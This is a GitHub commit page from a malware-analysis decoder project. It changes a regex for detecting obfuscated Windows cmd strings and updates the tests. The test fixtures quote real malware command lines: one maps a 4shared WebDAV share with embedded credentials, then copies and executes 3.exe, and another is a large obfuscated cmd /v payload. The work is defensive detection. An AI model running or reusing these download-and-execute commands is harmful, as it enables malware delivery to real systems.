Skip to content

Commit

Permalink
Merge pull request #107 from CybercentreCanada/find_cmd_strings
Browse files Browse the repository at this point in the history
Improve find_cmd_strings
  • Loading branch information
cccs-jh authored Oct 11, 2024
2 parents c7d6228 + 45544e5 commit ab14a41
Show file tree
Hide file tree
Showing 2 changed files with 80 additions and 32 deletions.
42 changes: 26 additions & 16 deletions src/multidecoder/decoders/shell.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@
from multidecoder.node import Node
from multidecoder.registry import decoder

CMD_RE = rb"(?i)\bc\^?m\^?d\^?\b[^)\x00]*"
CMD_RE = rb'(?i)("(?:C:\\WINDOWS\\system32\\)?\bcmd(?:.exe)?"|(?:C:\\Windows\\System32\\)?\bc\^?m\^?d\b)[^\x00]*'
POWERSHELL_INDICATOR_RE = (
rb'(?i)(?:^|/c|/k|/r|[\s;,=&\'"])?\b(\^?p\^?(?:o\^?w\^?e\^?r\^?s\^?h\^?e\^?l\^?l|w\^?s\^?h))\b'
)
Expand Down Expand Up @@ -53,21 +53,31 @@ def deobfuscate_cmd(cmd: bytes) -> tuple[bytes, str]:
def find_cmd_strings(data: bytes) -> list[Node]:
cmd_strings = []
for match in re.finditer(CMD_RE, data):
if match.group().lower().strip() not in (b"cmd", b"cmd.exe"):
deobfuscated, obfuscation = deobfuscate_cmd(match.group())

split = deobfuscated.split()

# The cmd binary/command itself is at split[0]
if (not split[0].startswith(b'"') and split[0].endswith(b'"')) or (
not split[0].startswith(b"'") and split[0].endswith(b"'")
):
# Remove the trailing quotation
split[0] = split[0][:-1]
deobfuscated = b" ".join(split)

cmd_string = Node("shell.cmd", deobfuscated, obfuscation, *match.span())
cmd_strings.append(cmd_string)
full_cmd = match.group()
start, end = match.span()
parens = 0
for i, char in enumerate(full_cmd):
if char == ord(b")"):
parens -= 1
elif char == ord(b"("):
parens += 1
if parens < 0:
full_cmd = full_cmd[:i]
end = start + i
deobfuscated, obfuscation = deobfuscate_cmd(full_cmd)

split = deobfuscated.split()

# The cmd binary/command itself is at split[0]
if (not split[0].startswith(b'"') and split[0].endswith(b'"')) or (
not split[0].startswith(b"'") and split[0].endswith(b"'")
):
# Remove the trailing quotation
split[0] = split[0][:-1]
deobfuscated = b" ".join(split)

cmd_string = Node("shell.cmd", deobfuscated, obfuscation, start, end)
cmd_strings.append(cmd_string)
return cmd_strings


Expand Down
70 changes: 54 additions & 16 deletions tests/test_decoders/test_shell.py
Original file line number Diff line number Diff line change
Expand Up @@ -48,7 +48,7 @@ def test_cmd_re_null():
def test_cmd_re_ex1():
match = re.search(CMD_RE, test)
assert match
assert test[match.start() : match.end()] == b"cmd /c m^sh^t^a h^tt^p^:/^/some.url/x.html"
assert test[match.start() : match.end()] == b"cmd /c m^sh^t^a h^tt^p^:/^/some.url/x.html)"


# strip_carets
Expand Down Expand Up @@ -94,23 +94,61 @@ def test_find_cmd_strings_with_combo_of_ps1_and_cmd():
]


# From c8004f944055296f2636a64f8a469b9db6c9e983305f83ddc50c0617950d2271
def test_find_cmd_strings_with_dynamic_cmd():
ex = (
b'"C:\\WINDOWS\\system32\\cmd.exe" /c "net use Q: https://webdav.4shared.com dE}9tBDaFK\'Y%%uv '
b"/user:[email protected] & type \\\\webdav.4shared.com@SSL\\aa\\3.exe > 3.exe & forfiles /p "
b'c:\\windows\\system32 /m notepad.exe /c %%cd%%/3.exe & net use * /d /y"'
)
assert find_cmd_strings(ex) == [
@pytest.mark.parametrize(
"cmd",
[
(
# From c8004f944055296f2636a64f8a469b9db6c9e983305f83ddc50c0617950d2271
b'"C:\\WINDOWS\\system32\\cmd.exe" /c "net use Q: https://webdav.4shared.com dE}9tBDaFK\'Y%%uv '
b"/user:[email protected] & type \\\\webdav.4shared.com@SSL\\aa\\3.exe > 3.exe & forfiles /p "
b'c:\\windows\\system32 /m notepad.exe /c %%cd%%/3.exe & net use * /d /y"'
),
(
# From 01446c36f93532f2cd8af96396e22086f37aef1bb8e68b3b03076c9da5ec9737
b'"C:\\WINDOWS\\system32\\cmd.exe" /v /c "set "7QJlqI5k=wrnNUlRKetsTzM" '
b'&& call set "0j0kF9ei=!7QJlqI5k:~10,1!et" && !0j0kF9ei! "CWUz=t" &&!0j0kF9ei! "kAoe=m" &&'
b'!0j0kF9ei! "KxCF=%" &&!0j0kF9ei! "eOTw=i" &&!0j0kF9ei! "Upvl=e" &&!0j0kF9ei! "bntB=4" &&!0j0kF9ei! "PbiW=u" '
b'&&!0j0kF9ei! "RDvi=n" &&!0j0kF9ei! "swJc=x" &&!0j0kF9ei! "fqvE=a" &&!0j0kF9ei! "duPA=l" &&!0j0kF9ei!'
b' "yYGa=p" &&!0j0kF9ei! "ozfF=." &&!0j0kF9ei! "yqwP=f" &&!0j0kF9ei! "bnwz=[" &&!0j0kF9ei! "AAVs=r" '
b'&&!0j0kF9ei! "HUXA=s" &&!0j0kF9ei! "TRHb=o" &&!0j0kF9ei! "jJxO=]" &&!0j0kF9ei! "euru=g" &&!0j0kF9ei! '
b'"LzmN=d" &&!0j0kF9ei! "ETOj=w" &&!0j0kF9ei! "DePj=$" &&!0j0kF9ei! "KHMe=A" &&!0j0kF9ei! "xJuY=E" '
b'&&!0j0kF9ei! "vyxK==" &&!0j0kF9ei! "zCOe=0" &&!0j0kF9ei! "qEyT=1" &&!0j0kF9ei! "yPRu=7" &&!0j0kF9ei! '
b'"NXuW=U" &&!0j0kF9ei! "XBrv=O" &&!0j0kF9ei! "AQAM=C" &&!0j0kF9ei! "ADgJ=X" &&!0j0kF9ei! "efpU=D" '
b'&&!0j0kF9ei! "lGTl=F" &&!0j0kF9ei! "FPxK=j" &&!0j0kF9ei! "RfYF=R" &&!0j0kF9ei! "VWtg=c" &&!0j0kF9ei! '
b'"qZpa=5" &&!0j0kF9ei! "ijwe=," &&!0j0kF9ei! "bIbp=I" &&!0j0kF9ei! "bboR=W" &&!0j0kF9ei! "CJhg=:" '
b'&&!0j0kF9ei! "EwIP=k" &&!0j0kF9ei! "GMSj=2" &&!0j0kF9ei! "csVL=3" &&!0j0kF9ei! "dCLG=b" &&!0j0kF9ei! '
b'"rzSk=8" &&!0j0kF9ei! "vyxM=v" &&!0j0kF9ei! "vdCD=\'" &&!0j0kF9ei! "BdIj=P" &&!0j0kF9ei! "RBjV=h" '
b'&&!0j0kF9ei! "FKko=Q" &&!0j0kF9ei! "peOc=/" &&!0j0kF9ei! "vgth=G" &&!0j0kF9ei! "GyGT=T" &&!0j0kF9ei! '
b'"sHzK=M" &&!0j0kF9ei! "mSxW=y" &&!0j0kF9ei! "wasV=S" &&c!fqvE!l!duPA! !0j0kF9ei! '
b'"de1R8TKC=%!CWUz!!kAoe!p!KxCF!\!eOTw!!Upvl!!bntB!!PbiW!!eOTw!!RDvi!!eOTw!!CWUz!.!Upvl!!swJc!e" '
b'&& c!fqvE!!duPA!!duPA! !0j0kF9ei! "6vIlvFDq=%t!kAoe!!yYGa!%\!eOTw!!Upvl!!PbiW!!eOTw!!RDvi!!eOTw!t!ozfF!'
b'!eOTw!n!yqwP!" && (for %t in ("!bnwz!v!Upvl!!AAVs!!HUXA!!eOTw!!TRHb!!RDvi!!jJxO!" "!HUXA!!eOTw!!euru!!RDvi!'
b'!fqvE!!CWUz!u!AAVs!e = $w!eOTw!!RDvi!!LzmN!o!ETOj!s nt!DePj!" "!bnwz!!LzmN!e!HUXA!ti!RDvi!a!CWUz!i!TRHb'
b'!!RDvi!!LzmN!!eOTw!!AAVs!!HUXA!]" "!KHMe!!bntB!5!xJuY!!vyxK!!zCOe!!qEyT!" "[!LzmN!!Upvl!f!fqvE!!PbiW!l!CWUz'
b'!!eOTw!n!HUXA!tal!duPA!!ozfF!w!eOTw!n!LzmN!ow!HUXA!!yPRu!!jJxO!" "!NXuW!nR!Upvl!!euru!i!HUXA!!CWUz!e!AAVs'
b'!!XBrv!!AQAM!!ADgJ!s!vyxK!F0!yPRu!F!efpU!" "d!Upvl!!duPA!!yqwP!i!duPA!!Upvl!s!vyxK!!KHMe!45!xJuY!" "!bnwz'
b'!!lGTl!!zCOe!7!lGTl!!efpU!!jJxO!" "!KxCF!!FPxK!!RfYF!M!yPRu!!LzmN!%!KxCF!!qEyT!!qEyT!%\s!VWtg!!KxCF!!qZpa'
b"!FSP!efpU!%!ijwe!N!bIbp!!ijwe!h!CWUz!!KxCF!!yYGa!!bntB!I!yqwP!!bboR!!KxCF!!CJhg!!KxCF!!yqwP!hwQ!EwIP!%!yPRu"
b'!!GMSj!.!qZpa!!ozfF!!bntB!!csVL!.!qEyT!9/!AAVs!o!dCLG!o!CWUz!in!euru!!ozfF!!KxCF!!CWUz!!rzSk!GcT!KxCF!" '
b'"!bnwz!A!bntB!!qZpa!!xJuY!!jJxO!" "!eOTw!!Upvl!!PbiW!!eOTw!!RDvi!!KxCF!!KHMe!y!eOTw!!PbiW!!RfYF!!KxCF!!RDvi'
b'!!yqwP!" "!bnwz!str!eOTw!!RDvi!!euru!!HUXA!!jJxO!" "!HUXA!e!AAVs!!vyxM!i!VWtg!en!fqvE!!kAoe!!Upvl!!vyxK'
b'!!vdCD! \'" "!HUXA!h!TRHb!!AAVs!!CWUz!!HUXA!!vyxM!c!RDvi!am!Upvl!!vyxK!\' \'" "!qZpa!FS!BdIj!!efpU!!vyxK!R!'
b'TRHb!!dCLG!!FPxK!" "p!bntB!I!yqwP!!bboR!!vyxK!tp" "!yqwP!!RBjV!w!FKko!!EwIP!!vyxK!/!peOc!" "!CWUz!!rzSk'
b'!!vgth!c!GyGT!!vyxK!!yYGa!h!yYGa!" "!FPxK!!RfYF!!sHzK!!yPRu!!LzmN!=" "!KHMe!!mSxW!!eOTw!u!RfYF!=!eOTw!!CWUz'
b'!!ozfF!i" ) do @e!VWtg!!RBjV!o %~t)> "!6vIlvFDq!" && call c!TRHb!!yYGa!!mSxW! /Y %!ETOj!!eOTw!!RDvi!d!eOTw'
b"!!AAVs!%\!wasV!!mSxW!!HUXA!t!Upvl!!kAoe!3!GMSj!\!eOTw!!Upvl!4!PbiW!i!RDvi!!eOTw!!CWUz!!ozfF!!Upvl!x!Upvl! "
b'%!CWUz!!kAoe!!yYGa!%\ && s!CWUz!!fqvE!!AAVs!t "" /m!eOTw!!RDvi! "!de1R8TKC!" -!dCLG!!fqvE!!HUXA!!Upvl!!HUXA'
b'!!Upvl!!CWUz!!CWUz!!eOTw!n!euru!!HUXA!"'
),
],
)
def test_find_cmd_strings_with_dynamic_cmd(cmd: bytes):
assert find_cmd_strings(cmd) == [
Node(
type_="shell.cmd",
value=(
b"cmd.exe /c \"net use Q: https://webdav.4shared.com dE}9tBDaFK'Y%%uv /user:[email protected] & "
b"type \\\\webdav.4shared.com@SSL\\aa\\3.exe > 3.exe & forfiles /p c:\\windows\\system32 /m "
b'notepad.exe /c %%cd%%/3.exe & net use * /d /y"'
),
start=21,
end=250,
value=cmd,
start=0,
end=len(cmd),
)
]

Expand Down

0 comments on commit ab14a41

Please sign in to comment.